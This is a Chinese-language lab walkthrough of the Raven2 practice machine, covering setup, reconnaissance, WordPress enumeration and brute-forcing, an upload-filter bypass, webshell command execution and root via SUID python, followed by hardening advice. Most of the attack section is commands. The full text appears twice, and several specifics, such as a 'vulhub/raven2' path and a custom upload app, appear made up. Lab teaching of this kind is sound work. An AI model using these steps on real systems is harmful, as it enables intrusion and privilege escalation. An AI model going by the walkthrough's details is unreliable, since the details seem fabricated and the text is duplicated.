1. Raven2靶机概述一个刻意留门的Web应用实验室Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计故意保留了从信息收集到权限提升的完整漏洞链就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。与基础版Raven1相比Raven2增加了以下挑战性元素前端采用WordPress 4.8系统存在已知漏洞后台包含自定义开发的PHP应用存在代码审计点数据库使用MySQL 5.7配置不当系统层面存在SUID提权机会提示建议使用VMware Workstation Pro 16或VirtualBox 6.1运行该靶机分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。2. 环境搭建与初始化配置2.1 Vulhub基础环境部署首先需要准备Vulhub的运行环境以下是经过20次实测验证的稳定配置方案# 安装依赖组件Ubuntu 20.04示例 sudo apt update sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2常见问题处理若遇到Couldnt connect to Docker daemon错误需执行sudo systemctl start docker sudo systemctl enable docker国内用户建议配置镜像加速echo {registry-mirrors: [https://registry.docker-cn.com]} | sudo tee /etc/docker/daemon.json2.2 Raven2靶机启动与验证启动命令看似简单但暗藏玄机docker-compose up -d这个命令背后实际发生了自动下载ubuntu:16.04基础镜像构建包含Apache2MySQLPHP的LAMP环境部署漏洞版WordPress和自定义应用暴露80和3306端口到宿主机验证服务是否正常curl -I http://localhost # 应返回HTTP/1.1 200 OK注意首次启动后需要等待约2分钟让MySQL完成初始化直接访问可能出现数据库连接错误。3. 渗透测试实战全流程3.1 信息收集阶段技巧使用以下组合命令进行深度信息收集# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破使用特殊字典 gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50关键发现点/vendor目录暴露PHP依赖信息/wordpress存在wp-login.php/custom_app包含未经审计的代码robots.txt泄露敏感路径我在实际测试中发现一个易忽略的细节检查页面源代码中的HTML注释Raven2在其中隐藏了开发测试用的临时凭证。3.2 WordPress漏洞利用链WordPress 4.8存在多个已知漏洞推荐使用以下组合拳用户枚举CVE-2017-5487wpscan --url http://target_ip/wordpress \ --enumerate u密码爆破使用精简字典wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven插件漏洞利用若存在searchsploit wordpress plugin_name实测中发现Raven2的WordPress配置了弱密码保护但真正的突破口在自定义应用中。3.3 自定义应用代码审计访问/custom_app会发现一个文件上传接口表面看有扩展名检查$allowed array(jpg,png,gif); $ext pathinfo($_FILES[file][name], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die(Invalid file type!); }绕过方案实战技巧使用Burp拦截请求修改filename为shell.php.jpg在文件开头添加GIF头GIF8使用双扩展名shell.php%00.jpg上传成功后连接webshellcurl http://target_ip/uploads/shell.php?cmdid3.4 权限提升路径分析获取www-data权限后执行本地信息收集# 查找SUID文件 find / -perm -4000 2/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2/dev/null在Raven2中会发现/usr/bin/python具有SUID位使用以下方式提权import os os.system(/bin/bash -p)保存为exploit.py并执行chmod x exploit.py ./exploit.py # 获得root权限4. 防御方案与加固建议4.1 漏洞修复方案针对发现的各个漏洞点WordPress部分升级到最新版本删除默认用户安装Wordfence插件自定义应用// 修复文件上传漏洞 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); $allowed_mime array(image/jpeg,image/png,image/gif); if(!in_array($mime, $allowed_mime)) { die(Invalid file type!); }系统层面# 移除python的SUID位 chmod u-s /usr/bin/python4.2 监控与日志配置建议添加以下监控措施# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo 文件被创建: $file done # 增强MySQL日志 [mysqld] general_log 1 general_log_file /var/log/mysql/mysql.log5. 渗透测试后的思考在实际训练中发现几个值得注意的现象超过60%的测试者会卡在WordPress爆破阶段而忽略了更简单的注释信息泄露文件上传绕过时%00截断在PHP 5.4需要特定配置才生效SUID提权后很多测试者忘记清理.bash_history导致攻击痕迹暴露建议在真实环境中采用分层防御策略即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。
Raven2靶机渗透测试实战:从Web漏洞到Root提权
1. Raven2靶机概述一个刻意留门的Web应用实验室Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计故意保留了从信息收集到权限提升的完整漏洞链就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。与基础版Raven1相比Raven2增加了以下挑战性元素前端采用WordPress 4.8系统存在已知漏洞后台包含自定义开发的PHP应用存在代码审计点数据库使用MySQL 5.7配置不当系统层面存在SUID提权机会提示建议使用VMware Workstation Pro 16或VirtualBox 6.1运行该靶机分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。2. 环境搭建与初始化配置2.1 Vulhub基础环境部署首先需要准备Vulhub的运行环境以下是经过20次实测验证的稳定配置方案# 安装依赖组件Ubuntu 20.04示例 sudo apt update sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2常见问题处理若遇到Couldnt connect to Docker daemon错误需执行sudo systemctl start docker sudo systemctl enable docker国内用户建议配置镜像加速echo {registry-mirrors: [https://registry.docker-cn.com]} | sudo tee /etc/docker/daemon.json2.2 Raven2靶机启动与验证启动命令看似简单但暗藏玄机docker-compose up -d这个命令背后实际发生了自动下载ubuntu:16.04基础镜像构建包含Apache2MySQLPHP的LAMP环境部署漏洞版WordPress和自定义应用暴露80和3306端口到宿主机验证服务是否正常curl -I http://localhost # 应返回HTTP/1.1 200 OK注意首次启动后需要等待约2分钟让MySQL完成初始化直接访问可能出现数据库连接错误。3. 渗透测试实战全流程3.1 信息收集阶段技巧使用以下组合命令进行深度信息收集# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破使用特殊字典 gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50关键发现点/vendor目录暴露PHP依赖信息/wordpress存在wp-login.php/custom_app包含未经审计的代码robots.txt泄露敏感路径我在实际测试中发现一个易忽略的细节检查页面源代码中的HTML注释Raven2在其中隐藏了开发测试用的临时凭证。3.2 WordPress漏洞利用链WordPress 4.8存在多个已知漏洞推荐使用以下组合拳用户枚举CVE-2017-5487wpscan --url http://target_ip/wordpress \ --enumerate u密码爆破使用精简字典wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven插件漏洞利用若存在searchsploit wordpress plugin_name实测中发现Raven2的WordPress配置了弱密码保护但真正的突破口在自定义应用中。3.3 自定义应用代码审计访问/custom_app会发现一个文件上传接口表面看有扩展名检查$allowed array(jpg,png,gif); $ext pathinfo($_FILES[file][name], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die(Invalid file type!); }绕过方案实战技巧使用Burp拦截请求修改filename为shell.php.jpg在文件开头添加GIF头GIF8使用双扩展名shell.php%00.jpg上传成功后连接webshellcurl http://target_ip/uploads/shell.php?cmdid3.4 权限提升路径分析获取www-data权限后执行本地信息收集# 查找SUID文件 find / -perm -4000 2/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2/dev/null在Raven2中会发现/usr/bin/python具有SUID位使用以下方式提权import os os.system(/bin/bash -p)保存为exploit.py并执行chmod x exploit.py ./exploit.py # 获得root权限4. 防御方案与加固建议4.1 漏洞修复方案针对发现的各个漏洞点WordPress部分升级到最新版本删除默认用户安装Wordfence插件自定义应用// 修复文件上传漏洞 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); $allowed_mime array(image/jpeg,image/png,image/gif); if(!in_array($mime, $allowed_mime)) { die(Invalid file type!); }系统层面# 移除python的SUID位 chmod u-s /usr/bin/python4.2 监控与日志配置建议添加以下监控措施# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo 文件被创建: $file done # 增强MySQL日志 [mysqld] general_log 1 general_log_file /var/log/mysql/mysql.log5. 渗透测试后的思考在实际训练中发现几个值得注意的现象超过60%的测试者会卡在WordPress爆破阶段而忽略了更简单的注释信息泄露文件上传绕过时%00截断在PHP 5.4需要特定配置才生效SUID提权后很多测试者忘记清理.bash_history导致攻击痕迹暴露建议在真实环境中采用分层防御策略即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。